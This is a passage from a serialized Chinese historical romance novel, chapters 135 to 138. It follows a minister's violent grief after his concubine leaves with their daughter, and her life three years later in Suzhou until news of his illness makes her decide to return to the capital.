秋祭当日,众臣聚于陵寝之间,陪同少帝祭祖祈福。 秋风扫落叶,归去还复来。 听雨阁。 男人站在门前,看着空无一人的房内,伫立良久,他的身上还穿着祭服,只刚回府,便前来此处。 他背对着众人站立,让人难以分辨他此时的心绪, 一旁的下人纷纷垂下头,恨不得将头埋进地底下。 第135章 了委屈,你也不…… 钱管家站在男人身后,心也跳得愈发厉害,他未想过,他只是率人前去寻长小姐的功夫,徐姨娘便捅了林二叔一刀,眼下又畏罪潜逃,带着长小姐同人私奔。 这又是从哪里冒出来的情郎? 钱管家的心鼓动如雷,小心翼翼地看着男人的背影,大气都不敢喘。 院内一片死寂之际,男人终于开口道,“派人去寻,除夫人与长小姐之外,格杀勿论。” 这是完全不给情郎留命了…… 男人尾音刚落地,钱管家就忙不迭应下,飞快跑去传话,生怕跑得晚了,被一刀砍了脑袋。 待身后脚步渐行渐远,男人抬步走进屋中,抚着桌案上琴弦,无声看着地上残留的血渍。 干涸的血浸在木板之中,早已暗沉,让人根本难以分清,地上的血到底属于谁,也难以知晓,女人到底是否受伤。 他只离府数日,女人就离开他。 男人无意识勾紧手中的琴弦,砰的一声,琴音乍惊,站在门外的一众下人听到响动,纷纷屈膝跪在地上,颤着身子将额头抵着地面。 “传他们二人过来。” 男人的命令从屋内传来,下人们彼此对视一眼,很快意识他口中的他们是谁,其中一人连忙起身,向正院跑去。 男人坐在琴前,眸色淡漠,没有一丝情绪。 过去他也这般冷,可更多的是未把人放在心上的随意,而非眼下这般寒冷彻骨,如暮秋一般沉寂。 好似失了情根一般,再无半分温情…… 过了半晌,林远山捂着腹部,挪着步子走入房中,他的面色苍白至极,走到男人面前跪下,“大哥,你唤我。” 他低咳几声,语气虚弱至极,沈玉清跟在他身后,虚虚扶着他,在他下跪时,也屈膝跪在地上,未敢抬眸看面前之人一眼。 男人坐在琴前,良久后起身,走至林远山身前停下,无声俯视他。 他没有征兆抬手,直接打在林远山的脸上,力气极为重,林远山本就虚弱,只一瞬间,就被打翻在地。 他不受控地趴在地上,喉咙腥甜,直接吐出一口血。 沈玉清眸色一怔,下意识想要扶他起身,目光在触及到男人没有一丝情绪的目光时,身子骤然一僵,未敢再动一下。 男人也未理会她,只走至林远山身侧,踩在他尚未痊愈的伤口上,居高临下地俯视他。 腹部传来剧痛,林远山霎时疼得身体蜷缩,额头冷汗直冒,沈玉清听着耳边的吃痛声,偏过头,不敢再看他。 “你算什么东西,也想杀她?”他语气没有起伏。 踩在他伤口上的鞋不断下压,血透过纱布,很快濡湿衣衫,皮肉几乎快要和衣裳粘连在一起。 林远山疼得瑟缩不停,身体不断颤抖,沈玉清不忍再看下去,膝行上前,求情道,“大人,她徐可心自己要同人私奔离府,怪不得别人,大人放过他罢。” 男人未看她一眼,只令人拿来长刀。 刀背泛寒,男人手持长刀,将刀刃抵在林远山的脖颈,“若她回府后,受了委屈,你也不必活着了。” 话落,男人挥刀,直接砍断他的右臂,手起刀落,一瞬间,血液迸溅,随着哀嚎声溅落在沈玉清的侧脸上。 沈玉清眸色怔愣,还未等彻底反应过来,却听男人说,“沈氏谋害子嗣,私德有亏,且与家叔通奸,罔顾人伦。” “遂谴其归宗,永绝夫妻名分。” 男人说完,随手扔下刀,抬步向屋外走去。 沈玉清听完男人的话,看着眼前林远山痛苦的神情,仿佛痴傻了一般,瘫坐在地…… 没过多久,林大人封城,不惜调用官兵搜查人的消息就传了出去,如此兴师动众,京中权贵还以为在缉拿叛党,纷纷缩起脖子,害怕被连累。 消息传到宫中,未等少帝说什么,站在一旁的徐尚宫先面色一沉,就要出宫,前去见林大人。 少帝劝说不停,眼见徐念安火上心头,怕她触怒林大人,只能快步跟上前。 林府书房。 “大人,陛下到访,徐二小姐也回来了。” 钱管家刚传完话,房门就被人一脚踹开,少女身着宫服,大步走进书房之中,少帝跟在她身后,偷偷扯着她的袖子。 男人坐在桌案前,未同往日那般阅览文书,而是垂着眉眼,无声看着手中的白鹤香囊,拇指抚着上面的纹路,缓慢摩挲,未理会来人。 一只玉铃铛安静地摆放在木匣之中,往日趴在桌案上玩乐的女婴,如今也没了踪影。 妻子只带走了女儿,却未带走他,独留他一人在这偌大林府。 分明往日里,时常会说些一直陪在他身侧的话,可如今却不告而别,给他的承诺也像落花,彻底淹没在秋湖之中。 再过几日就是他的寿辰,今年他却无人相伴,也无人陪在他身侧,轻声讲着情话,他失了娘子和女儿,成了无人在意的孤家寡人。 他神色孤寂,徐念安却不在意,直接走上前,直言道,“林叔,阿姐既然离京,说明她不想再留在你身边,你何苦追着她不放?你首辅大人位高权重,只再寻几个女人为妻为妾,别再纠缠阿姐不放了……唔……” 徐念安眸中蕴着怒气,还想再说什么。 眼见男人的神色愈发沉寂,站在一旁的少帝见状,忙不迭捂住她的嘴,小声低语道,“祖宗,少说两句罢,算朕求你了。” 从他幼时见到林大人起,这人就从容不迫,好似天下万物都难以入他的眼,也没有什么是他林远舟做不到的,他还是第一次见到这人露出这副神色,好似失了妻女的鳏夫一般。 徐念安面色不满,极力想要挣脱他的手,少帝瞥了眼随行的宫女太监,他们心领神会,忙不迭上前,扯着徐念安的衣服,一边哄着,一边拉她出去,“徐尚宫,陛下有要事同首辅大人商议,咱们暂且离开罢……” 待四下无人,独留他们二人,少帝看了眼眉眼沉寂的男人,叹了口气,缓步上前,拿出一封信放在桌案上。 “林大人,是朕派人护送阿姐离京,这是阿姐临走前留给念安的书信。” “大人要怪,只怪朕昏庸罢。”少帝看着面前神色沉寂的男人,破罐子破摔道。 阿姐想要离京,临行前和念安告别,念安不放心她一人走,也要同她离开。 他怕这人跑了就再也不回来了,只能劝说不停,说会派人护送阿姐离京,还说阿姐如今孤身一人,还带着女儿,想必受了情伤,只让阿姐独自一人排解,令她不要前去添乱。 他好说歹说,终于把人劝住了。 他只想着送阿姐走,却未想过待阿姐走后,林大人会是这般模样,好似丧妻一般孤寂。 “林大人,朕派人跟着阿姐,知道她如今的去向,若大人实在不舍,朕只命人将阿姐带回。” 男人抚着手中的香囊,未语一言,良久后才拿起桌案上的书信,缓缓打开,信上字迹清秀昳丽,几顿几停,油墨点得很深,他甚至能想到,女人写信时,垂眸不舍的模样。 她临行匆忙,却留下一封书信给旁人,而未留给他只言片语,只带着青姝毫不留情地从他身边离开。 知晓女人未同人私奔,也未喜欢上旁人,林远舟放下信,眼也不抬道,“不必了。” 既然她想走,想从他身边离开,给她自由就是了。 少帝小心地看着男人的面庞,不知为何,他感觉男人的面色好似愈发沉寂。 不似放下,更像是妥协了…… 官兵得令回营,未再搜寻。 暮秋本是首辅大人的生辰,但今年林府却未设宴,上朝时,文武百官偷偷窥着男人的背影,却发觉不知何时开始,林大人的头发白了几根,没过几日,白发愈发多了起来。 虽容颜依旧,但却好似失了七情六魄的仙人,再无旁的情绪,连往昔的随意也消失殆尽,独留冷寂。 他过去只是貌若仙人,如今却真得好似成仙一般,浑身透着生人勿近的气息,令人不敢靠近。 京中众人也隐隐听说了林家之事,沈氏被休后,回了沈家,没过几日就疯了。 四处说,林大人的那位宠妾同人私奔跑走了,他林远舟还要娶她为妻,谁成想人家根本不喜欢他。 还说她是林夫人,早年嫁给首辅大人为妻,为他生儿育女,他却嫌弃她生的孩子是女婴,杀了他们的孩子,又厌恶她的两个儿子,不承认他是他们的生父。 沈氏每日跑出沈家,在街道上胡言乱语,众人闻言,听得心惊胆战,本以为过不了几日,她就会被林大人处理,可她每日疯疯癫癫上街,却无一人阻拦她。 沈家人一开始还劝她,后来沈家愈发落魄,闹着分家,也无人再理会她。 反倒是林家那个病秧子林远山,每日吊着一口气,托着仅剩的一条手臂,上街前去寻她,哄她回去,可沈氏一见到他,就出言羞辱他,骂他是个残废,不仅里子废了,还缺了一条手臂。 无人知晓到底是谁砍断了这人的手臂,但偌大京城之中,能伤林远山还不被他记恨报复的人,也就林府那位。 往昔刑部侍郎林二公子林昭明,在京中闹出多少事端,如今不知为何,也同他父亲一样,愈发沉寂,平日里鲜少回府。 见他亲娘跑到街上发疯,他也不前去阻拦,只宿在官府,没日没夜地处理公务,好似失了情根的木头人,少言寡语,冷漠无情,倒真得有了几分他父亲年轻时的影子…… 只是时常会前去京郊的道观,前去祈福。 三年后。 姑苏城内,几个书生在湖岸边游行,忽得一个粉雕玉琢的女童快步跑了过来,手上攥着一个花灯,她身着淡青色衣裳,皓齿红唇,模样分外可爱。 她跑得快,不小心撞进其中一人怀里,只抚着额头,仰头直直看着他们,一双杏眸格外清澈。 还未等他们说什么,一位身着青衣的女人缓步上前,轻轻揽住她的身子,令她告罪。 女人声音轻缓,透着春水般的柔意。 女童看着他们,闻言举起手中的花灯,献宝似的举过头顶,眨着一双眼睛,轻声道,“大哥哥,青姝撞了你,还请大哥哥原谅青姝。” 书生闻言,忙说无事。 女人复又代女童致歉良久,才拉着女婴的手,带她向不远处的琴坊走去。 书生盯着女人的背影,不自觉道,“过去可曾见过这位娘子?” 还未等他说什么,一旁的人就笑道,“别想了,人家是那座琴坊的老板娘,同巡按御史林大人相识。” 书生被戳穿心事,面色霎时一红,“你别乱讲话。” 他催着几人快走,但刚走没几步,就频频回头,忍不住看向女人的背影,看她牵着女童的手走向琴坊。 直到身着官服的男人出现在女人身边时,他才不甘地收回目光。 他尚且是一书生,还未考取功名,而巡按御史林大人,却是当年科举的状元。 不单家世显贵,父亲是当今首辅,他自己也能力出众,到了姑苏后,先是赈灾救荒,之后又兴修水利,颇得民心,如今他虽在地方任职,但随时可以回京任职。 除此之外,这人又是个玉面郎君,生了一副俊美无俦的面容,每每上街,都会引得城中女子侧目。 无论家世地位,还是容貌才学,他没有一样能比过此人。 书生哪怕再不甘,也只能歇了心思,垂头丧气地离开,在心中暗暗发誓,一定要考得功名。 琴坊内。 青姝坐在男人怀里,攥着手中的玉环轻轻摇晃,林怀瑾揽着小孩的身子,目光却落在不远处的女人身上。 却见她手持拭巾,轻轻擦拭落在琴上不存在的薄灰,虽说琴坊的琴师每日擦拭,精心呵护,但女人只要寻了空隙,总会亲自擦拭一番。 动作温柔,眸色怜惜,比看他的目光还要柔和。 思及此,林怀瑾垂下眉眼,看向坐在他怀中玩乐的青姝。 他们已经到此处数年,可无论他如何示好,女人都未接纳他。 他也知晓,他终究比不过父亲在女人心中的地位…… 第136章 一整个下午,女人拿着拭巾,将琴坊的琴全都擦拭了一遍,林怀瑾只坐在一旁,寻一些最近城中发生的新鲜事,同她讲述。 除此之外,他们二人之间,再无旁的可以交谈。 他每每想要更深一步,都被拒之门外。 青姝坐在他怀里,玩累了倚靠他的身子,攥着手中的玉环,阖上眼睛沉沉睡去。 浅淡的日光透过窗户,斜斜照了进来,落在女人的面颊上,蒙上一层薄薄的金光。 日落黄昏,他只要寻了空隙,都会前来此处。 琴坊的琴师们一开始看见他时,还慌乱行礼,唤他林御史,不明白他为何纡尊降贵亲自上门,之后见他每日前来,才知晓这座琴坊就是他为徐娘子设立的,之后每日见到他,琴师们也见怪不怪了。 见徐娘子容貌昳丽,独自带着一个女儿,言谈举止不似市井之人,城中媒婆以为她是外地人,死了丈夫逃难此处,看她孤苦无依,便主动上门,想要为她介绍婚事。 徐娘子得知他们的来意后,慌乱推脱,媒婆见状,以为她要为丈夫守节,更觉她是一好女,不仅未放弃,反而又为她寻了几个人。 媒婆风雨无阻,每日上门,劝她不为自己考虑,也要为她女儿考虑,媒婆劝说不停,立誓要将她嫁出去。 直到有一日,媒婆上门时,瞧见新上任的林御史竟也在琴坊。 林御史日理万机公务繁忙,别说他们一众百姓,连城中的官员都鲜少能见到他,眼下这人却出现在琴坊之中。 不仅如此,他还抱着徐娘子的女儿,寸步不离地跟在徐娘子身后,同她轻声低语讲着什么。 两人都是少言寡语之人,鲜少同人往来,眼下却姿态亲近,彼此极为熟稔。 媒婆阅人无数,只定睛一看,就发觉林御史的眉眼和徐娘子女儿的眉眼极为相似。她仔细算着日子,又发觉林御史刚上任没多久,徐娘子便前来此处,好似特意前来寻林御史一样。 媒婆疑觉自己发现了惊天大秘密。 没过几日,琴坊老板娘和林御史是夫妻的消息就传遍城中,一众公子小姐听后,顿觉心灰意冷。 有官员本想着将家中小女引荐给林御史,得知消息后,特意跑到林御史面前问起此事。 林御史听后,也未说是不是,只说徐娘子性子胆怯,令他们勿要前去琴坊打扰。 这…… 官员们彼此对视一眼,瞬间确认传言属实。 在之后,媒婆也不再前去琴坊为徐可心介绍婚事了,反倒是城中一众官员,有要事禀告,却寻不到林御史时,都会前去琴坊,十次有九次,能在此处寻得林御史。 日头快要落下,徐可心收起拭巾,走至男人面前,接过他怀中的女儿。 青姝睡得熟,无意识抬眼,伸了个懒腰,轻轻唤了一声娘后,复又枕在她的肩头,阖上眼睛睡了过去。 “天色已晚,若无事的话,长公子请回罢。”她说。 分明已经到了人生地不熟的地方,也没有认识他们二人,但女人依旧按照过去的礼节,同在京中那般,唤他长公子。 他虽想留下,但碍于女人不喜,只能站起身,快要走出琴坊时,林怀瑾停下脚步,看向不远处的女人,“年底怀瑾需回京述职,离京数年,姨娘可想回京探望?” 林怀瑾知晓她的顾忌,不想为难她,但也的确不放心她一人留在此处,想带她一起回京。 若她想留在京城,他便回京任职,若她仍想留在此处,他便继续在此地做官。 徐可心闻言脚步一顿,只停留片刻,未语一言,继续向后院走去。 林怀瑾站在原地,望着女人的背影,良久后轻叹一声。 过几日就是灯节,小孩期待了许久,只一入夜,就拿上 林怀瑾命人为她制作的兔子灯,说想出去看花灯。 恰巧王小姐上门寻她,她便让琴坊的小厮先带她出去。 小孩攥着兔子灯,带着两个小厮,忙不迭跑上街,小厮们快步跟在她身后,让她慢些走,小心摔倒。 送走王小姐后,徐可心才寻了空隙,前去街上寻青姝。 星星点点的孔明灯飞上夜空,点缀在月下,街道两侧商贩林立花灯无数,人头攒动。 几个公子小姐手持花灯,并肩夜游,徐可心站在原地,望着街上的男男女女,不自觉想起京中那人。 不知道她离开后,那人可否想她,亦或恨她,不过想她也好,恨她也罢,她最怕的是那人将她彻底忘了。 思及此,她轻轻叹了口气。 “娘子,可是情郎失约了?” 嬉笑声从身旁传来,徐可心抬头看去,却见街边卖花灯的小贩笑着看她,见她看过来,小贩举起一个花灯,“娘子别急,有情人终成眷属,兴许那人有事才来得晚些,亦或街道上人太多,同娘子擦肩而过也说不定。” “左右也是等,不如娘子先买下花灯,等情郎寻到娘子,你们二人正好去湖边放灯,也不至于误了时辰。” 小贩话语不停,徐可心看了眼他手中的莲花灯,轻声道,“他不会来见我。” 她的话里带着明显的落寞,小贩闻言,以为自己说错了话,脸上的笑也不自觉尴尬几分。 她的确想念那人,离京之后的每一日都惦念他,徐可心走上前,复又叹了口气,买下小贩手中的花灯,目光掠过摆在角落的一根玉簪子时,眸色一顿。 这根玉簪子中规中矩,算不得出奇,只是尾端不知为何,刻着一个舟字。 “这簪子上的字……可有什么寓意?” 小贩凑上去看了一眼,笑着说,“这个我还真不知晓。” “昨夜一个大人路过,看上了这只簪子,买下后却未拿走,只令小人刻下此字,说过几日会前来取走簪子,还告诉小人,若中途有人买走,便卖给那人,只算结缘。” 徐可心垂眸看着簪子上的“舟”字,良久后才道,“这只簪子卖多少银钱?” “娘子钟意这簪子?我这就为娘子包起来。” 夜色愈深,本熙攘的街道愈发拥挤。 徐可心拿着手中的花灯和簪子,向茶馆方向走去,快要到茶馆时,却见琴坊的小厮慌乱地站在那里,四处寻着什么,一见到她,就忙不迭跑了过来。 “娘子!不好了!” 他们两人走上前,青姝却没了影子。 徐可心身子一僵,“青姝呢?” “方才我们陪小姐上街,路过茶馆时,恰巧碰上一位大人,看模样好似是哪个官员。” “我们本想避开那人,但他看到小姐后,竟把小姐唤了过去,我们想上前阻拦,却被那人的侍卫拦下,只能回来寻娘子。” 徐可心下意识问,“青姝可哭喊?” 小厮忙不迭摇头,“小姐未哭,那人好似也无伤害小姐的意思……” 徐可心紧抿着唇,将手中的花灯和簪子交给小厮,快步向茶馆走去,还未等她进门,却见青姝站在那里,身旁跟着两个侍卫。 一见到她,青姝就快步跑了过来,扑进她怀里,“娘!” 侍卫见她过来,未再留在原地,向人群走去。 徐可心将青姝抱起,忙不迭问,“方才那人可对青姝做什么?” 小孩闻言,微微摇头,转过身寻了片刻,指着侍卫离开的方向,轻声道,“他只抱着青姝,问娘在哪里。” 徐可心顺着小孩指着的方向看过去,只一瞬间,就在人群之中寻到那人。 目光落到那人的背影,徐可心的身子彻底僵住。 男人的背影同记忆中那人的身影重合,唯一不同的是此人头发全白。 徐可心僵在原地,难以分辨他的身份,在小厮追过来时,她把青姝交给小厮,终究抵不住心上的思念,忍不住追了过去,想一睹那人真容。 人群拥挤,她寻着那人的背影,费力地追在他身后,她紧紧盯着男人的身影,只差十几步的路,她就能看到那人的面庞。 忽得一辆马车迎面跑来,人群霎时涌到街道两侧,她也被迫等下,等马车驶过,她再看向远处时,却不知男人去了何处。 她站在原地,怔愣地望着复又人潮拥挤的街道,只觉好似被舍弃一般。 她不死心地复又寻了良久,在这条街道来来回回寻找,如同失了魂魄,不愿停下脚步,唯恐转身的功夫再次和男人错过。 “姨娘去了何处?” 林怀瑾抱着青姝站在街道上,一看见她就走了上来。 徐可心微微摇头,见小孩担忧地看着她,她强压下心上的失落,抬手轻抚她的脸颊,“我们去放灯罢。” 见她不愿多说,林怀瑾未再追问,“怀瑾已命人在湖边准备好画舫和灯盏,我们前去罢。” 他抱着青姝,另外一只手紧攥她的手腕,好似怕她再次失了踪迹一般。 临上船前,他们站在湖边放灯,徐可心垂着眉眼,盯着空白的字条,良久后才落笔,林怀瑾站在她身侧,只看着她写下他父亲的名字,将花灯送入湖中。 两人各有心事,青姝攥着纸笔,在小厮的帮助下,写下“娘亲平平安安”几字,将花灯送入湖中。 上了画舫,徐可心坐在窗边,端着茶杯,垂着眉眼,心上全是方才那人的身影,无论如何也难以忘记。 船内众人本在闲谈,忽得不知道谁喊了一句快看外面,徐可心下意识抬头,在看清窗外景象后,眸色一怔。 却见远处的河岸上,无数明灯从岸边升起,星星点点,照亮整个姑苏城。 明灯之下,再无迷途。 好似今夜无论前往何处,想去见谁,都不会失了方向。 莲花灯覆在湖面之上,飘飘荡荡的,随着湖水摇曳良久,又飘回岸边,只刚靠岸,就被人拾起。 “愿有情人终成眷属,也愿夫君林远舟顺遂无虞。” 男人站在湖边,无声看着信上的字迹,字迹清秀昳丽,一如往昔。 “大人,已经将灯全都放飞了。”随行的侍卫收起地上残余的火烛,快步走上前。 男人复又看了良久,才阖上愿纸,携花灯离去。 众人见状,连忙跟了过去。 虽然男人面色依旧漠然,但不知为何,随行的侍卫感觉大人在看完信纸后,眸色好似温和些许。 回了琴坊后,徐可心难以入睡,躺在床上盯着手中的玉簪子,反复回想那人的身影,直到天亮,她才不舍地阖上眼睛,攥着簪子睡去。 只希望那人今夜可以前来她的梦里…… 琴坊门外,男人手持花灯,无声站立,临到天亮时才离开。 第137章 接连几日,徐可心都梦到那人,过去相处的点点滴滴也不断在梦里重演。 男人唤她娘子,说会娶她,到了大婚那日,她穿着嫁衣,坐在洞房内等男人,他穿着婚服,手持金秤杆,眸中倒映她的红盖头…… 梦里百般旖旎,醒来后房内却只有她一人。 江南的水养人,房内却是潮湿的,无论走到何处,都难以摆脱。 过去的记忆也同墙角下的苔藓,守在阴暗处,缓慢蔓延,直到某一天彻底难以忽视。 那几年里,她早就习惯这人的陪伴,如今看着空荡荡的身侧,顿觉怅然若失,心也空荡荡的,好似失了根一般…… 白日里,王小姐上门拜访,取走先前看中的琴,命下人将琴送回府中后,又同她闲聊几句,说茶馆得了一批新茶,邀她前去听曲品茶。 徐可心本想推脱,忽得想到灯节那晚发生的事,沉默片刻,又应了下来。 茶馆内,女子手持琵琶,坐在堂前垂眸弹奏,乐音同流水似的从指尖泄了出来,说书先生坐在一旁,讲着城中的陈年旧事。 二楼雅间,徐可心倚在窗前,看着湖上飘荡的船只,王小姐端着茶杯,同她讲着家中之事。 父亲为她定了一门婚事,相公是京中人,她自小在父母身边长大,不想离乡,害怕到了京中,没有娘家依仗,被婆家人欺负,又怕相公是个花心的,她性子软弱,难以掌家。 王小姐今日邀她品茶,就是想问她可认识那人,若认识的话,又是否知晓那人的品性。 听到孙玉景三字时,徐可心端茶的手一顿,想起少年曾做过的傻事,她犹豫半晌,斟酌道,“此人容貌清秀,性情也不错,就是……” “就是如何?”王小姐追问。 “言行尚且稚嫩,有些少年心性,但过去数年,想必孙公子也应成熟些许。” “除了言行呢?他可还有旁的不良习性?”说到此处,王小姐紧张地看 着她,“杀人放火,强占民女,沉溺美色什么的?” 徐可心闻言,微微摇头,“孙公子是个琴痴,独爱于琴,其性纯良,并未纳妾。” 王小姐闻言,霎时松了一口气,“那便好……” 见她放松下来,徐可心复又抬眼,看向湖岸。 两人来时,天色就暗淡些许,眼下湖岸之上,彻底被阴云覆盖,隐隐有落雨的征兆。 目光掠过一处时,她眸色一怔,倏地起身。 却见一辆马车停在湖岸边,身着白衣的男人下了马车,背对着她向长桥走去。 男人头发全白,身形颀长,仙风道骨,神仙下凡似的,他单手执伞,独自一人向长桥深处走去,随行的侍卫们守在桥头,未跟上前。 她未看见男人的面容,可单是一个背影,就引得她心跳加快,甚至来不及多言,便匆匆向茶馆下跑去。 “哎,你做什么去!”王小姐在身后唤她。 徐可心顾不上回头,只快步走上桥头,寻着男人的踪影。 分明她坐在茶馆时,亲眼看见男人走上桥,可等她上桥后寻了良久,也未见到男人的身影,好似方才她所看到的只是她的幻想。 徐可心不甘心,望着看不见尽头的长桥,不顾愈发厚重的阴云,只寻着男人离开的方向走去。 过了片刻,一滴雨落在她的肩头,蒙蒙细雨斜斜打下,她随手擦了一下脸颊上的雨水,仍向前走着,还未走到桥尾,未瞧见男人的面容,她如何能死心。 她一开始只是走着,害怕再次同男人错过,她又不受控地加快步子,跑了起来。 雨一开始很轻,好似薄雾,可顷刻之间,就转为瓢泼大雨,疾驰而下。 浓稠的白雾霎时从湖面升起,掩盖住四周的景象,只能隐隐约约地看到一个影子。 山上高楼挺拔,尚且隐于雾下,她身处大雾之中,更难看清前方的景象。 雨雾愈重,她也早就被雨水淋透,看着愈发朦胧的前方,意识到她再次失了男人的踪迹,整个人失神,不受控地重重摔倒在地。 膝盖重重砸在石头上,霎时传来阵痛,她却难以顾及,只跪在地上,忍不住哭了起来。 四下无人,单有连绵不断的雨声。 发间的玉簪子顺着雨水滑落在地,一头乌发也垂在肩头,被雨水淋湿。 “徐娘子!徐娘子!” 王小姐执伞,寻着她的身影追了过来,“娘子为何跪在地上?” 王小姐匆忙上前,扶她起身,“雨下得愈发大了,娘子快随我回去换衣裳。” 徐可心僵硬起身,只失了魂一般,跟在她身后离开。 白雾氤氲,天水山城融为一体,连成一幅水墨画卷。 待她们二人的身影消失在桥上,落在地上的簪子被人拾起。 回了琴坊后,她便病倒了。 不知睡了多久,只记得在梦中,她在桥尾追上了男人,只埋首在男人怀里,看他转过身,男人看她的目光一如往昔,只揽着她的腰,将她抱在怀里。 她埋首在男人肩头,问男人可还怪她。 徐可心不记得对方说了什么,只知道她抱着男人,说了很多话,把这三年的思念全都讲了出来。 她紧攥着男人的衣裳,害怕他离开,可无论她攥得多紧,对方的身影依旧逐渐从眼前消散,难言的慌乱如洪水般覆压至心头,她倏地抬眸,大口喘着气。 “娘亲醒了!” 青姝趴在她的床边,紧攥着她的手,见她醒来,下意识呼喊道。 小孩挪着身子,坐在她身侧,举起小手,轻轻贴上她的额头,担忧地看着她。 眼下暑气灼人,饶是雨势急促,也不伤人。 她迟迟不醒,也非淋雨的缘故,而是期待落空,困于心境之中,不愿清醒。 青姝用手贴了贴她的额头,又学着她的样子,俯下身,用脸颊贴着她的额头,揽着她的脖颈,轻声道,“娘亲要快快好起来。” 徐可心揽着她的后背,将她抱在怀里,柔声道,“娘亲无事,怪娘亲不好,让青姝担心了。” 小孩趴在她怀里,闻言又蹭了一下她的脸颊。 房门被推开,男人端着汤碗走进,见她醒来,林怀瑾放下汤碗,扶她起身。 “姨娘为何跑进雨中?”他问。 徐可心垂下眉眼,抱着怀中的女儿,未说她好似看见了大人。 如今那人尚在京中,如何会出现此地,何况白日那人头发全白,明显不是他。 她之所以追上去,也不过是两人背影太过相似,让她明知那人不是他,也要追上去看清对方的相貌,才能彻底死心。 林怀瑾坐在一旁,无声等了片刻,见她不愿开口,林怀瑾垂下眉眼,端起桌案上的汤碗,“方才请了郎中过来,说姨娘并无大碍,只开了几副补药,给姨娘调理身子。” 他端着汤碗,另外一只手攥着瓷勺,方要舀起汤药,又停了下来,温声道,“姨娘方醒,身子尚且亏空,不知可否准怀瑾喂您服药。” 他言语恳求,态度一如既往的恭敬,把自己的姿态放得很低。 知晓他这人的本性,徐可心阖上眉眼,不愿同他多说,只让他放下汤药。 言语疏离,好似无论他做什么,都难以让她动容。 这人将他拒之门外,同他疏远,可饶是如此,他依旧忍不住心上的喜欢,想要靠近她。 他少时不知晓如何讲话,才能同二弟一般讨得徐小姐的欢心,青年时依旧不知晓如何处事,才能同父亲一般令徐姨娘依赖。 本来女人哪怕不喜欢他,也信任他的为人,而他却未认清自己,一次又一次地消磨到女人的所有信任,临到最后,又难以压制心中的渴望,做了难以弥补的错事。 那场情事算不得好,除了无耻的欲望得到满足以外,他未再从女人这里得到其他他渴望的东西。 她的信任、她的在乎、她的喜欢、她的依赖…… 他林怀瑾于她而言,只是一个曾经侵犯过她的男人,仅此而已。 他同女人住在此处三年,做了一切他能做的事,但依旧难以令女人动容。 一开始见到她如约前来时,他以为两人的关系缓和了,可三年过去,他们之间同过去相比,却未有半分变化。 不知何时开始,他早就不再渴求女人的喜欢,只想着能一直陪在她身侧就好。 日升日落,看她抚琴,教青姝识字,经营这家琴坊,按自己的心意度日,不再受仇恨折磨,护她无忧…… 如此就足够了。 林怀瑾放下手中的汤碗,未立刻离开,“姨娘,怀瑾回京后,会留京数日,若姨娘受人欺辱,怀瑾难以及时赶回。” “姨娘同怀瑾都是京中人,离乡数年,从未归还,徐尚宫许久未见到姨娘,想必也思念至极,怀瑾思来想去,仍希望姨娘可以同怀瑾回京城。” 他劝女人回京,一是不放心她独自一人留在此地,二是害怕等他一走,旁人就托媒婆前来,为女人介绍婚事。 毕竟他们并非真得夫妻,他每日前来琴坊,尚且有人对她一见倾心,若他不在,外面的阿猫阿狗怕是寻着机会就上门了。 到时他们 并非夫妻的谣言被戳穿,有人趁他不在此处,将女人哄走,他难免要费一番心思拆散他们。 他坐在床前,温声劝解,可女人不为所动,甚至未抬眼看他,反倒是青姝扯着他的衣袖,眸色好奇,“长兄,京城是何处?” 林怀瑾抬手,轻轻抚了一下她的头,低声道,“京城是青姝的故乡,青姝的父亲以及二哥都在那里。” 小孩似懂非懂地点头,“长兄,他们认识青姝吗?” 林怀瑾将小孩抱在怀里,勾着她的手指,轻声道,“父亲很疼爱青姝,你二哥六亲缘浅,但他喜欢青姝的娘亲,也会喜欢青姝。” 林府众人的过往都极为不堪,她生在那片脏污之地,本应同他们一样,饱受折磨,可偏偏她有个事事以她为先的娘亲,她也因此得了所有人的疼爱。 被爱滋养长大,致使她每日不必担忧是否会被抛弃,也不必费尽心思讨得谁的喜欢,犯错也好,闯祸也罢,哪怕不是一个聪明伶俐的乖小孩,她的娘亲也依旧偏爱她,唯一的心愿就是希望她平平安安。 青姝坐在他怀里,闻言认真道,“父亲和二哥喜欢青姝,青姝也喜欢他们。” 同她娘亲一样,从不羞怯于说出自己的喜欢,只明明白白讲出来。 喜欢二字对她来说太过寻常,身边人都喜欢她,也都爱护她,让她从不在乎一人的喜恶,也不害怕说出的喜欢会被人踩在地上。 小孩眸色真诚,林怀瑾揽着她的身子,看向床上的女人,虽不想提及京中之事惹她担忧,但除了那人的安危以外,他不知晓还有何事能劝女人回京。 “姨娘,数月前,府中传来书信,说父亲积劳成疾,染了重病,已有两月未上朝,恐时日……”不多。 余下两字未等说完,女人就倏地抬眸,怔愣地看向他,“你说谁染了重病?” 分明离京时,男人未有半分异样,为何只过去短短数年,就染了重病…… 好似预料到她难以轻易接受这个消息,林怀瑾拿出一封信,“这是京中送来的书信。” 他其实也未相信那人会染病,但男人这几月的确未上朝,只抱病家中,未见任何人,少帝念他辛苦,也准他不上朝,还令众大臣不得前去林府打扰。 林昭明鲜少回府,也不在乎其父的安危,而他远在姑苏,也难以探清虚实,只能回京后,才知道这人是否真的时日不多…… 见女人眸色忧虑,明显动摇,林怀瑾轻声道,“姨娘,只回去看上一眼,若无事的话,我们再离开也不迟。” 徐可心攥着被子,心早就乱成一团。 数月前便染了重病,时日不多,而她这几日却频频看到那人的身影,难道她今日所瞧见的白衣身影是他的鬼魂…… 思及此,徐可心只觉心跳停顿,手脚也愈发冰冷。 之前的一切顾虑全都被她抛之脑后,恨不得立刻回京,好知晓男人到底是否有事。 若未见到男人的最后一面,她甚至不知晓,往后又是否有勇气活下去,往昔男人身受肺痨的病态容颜在眼前浮现,让她心脏绞痛不停,好似有刀子落在她的心上一般,不断凌迟她的理智,好端端的为何会身受重病…… 一行清泪从眼尾倏地滑下,她慌乱掀开被子,扯住林怀瑾的衣袖,“何时启程?我们今日便回京。” 她根本等不到明日了…… 第138章 本应年底才能回京,但眼见女人等不及了,还说要独自回京,林怀瑾不放心她一人,只把手头上的事全都处理完,上奏陛下,说要提前返京,求陛下准许。 奏书被送到京中,又被送回姑苏,饶是快马加鞭,也要再等个十几天,徐可心留在姑苏,接连几日都难以安睡。 还是从先到的家书中知晓,大人暂且无事,她才松了一口气,忙不迭收拾行囊,只等回京。 分明离开时,未过几日她便到了姑苏,可回京时,却格外漫长,仿佛过了几世那般久。 之前的事是上辈子的事,今后的事是这辈子的事。 林府。 过去主子多,一众丫鬟小厮生怕做错事被处罚,一个个提心吊胆,谨小慎微,林府因此也变得格外死寂。 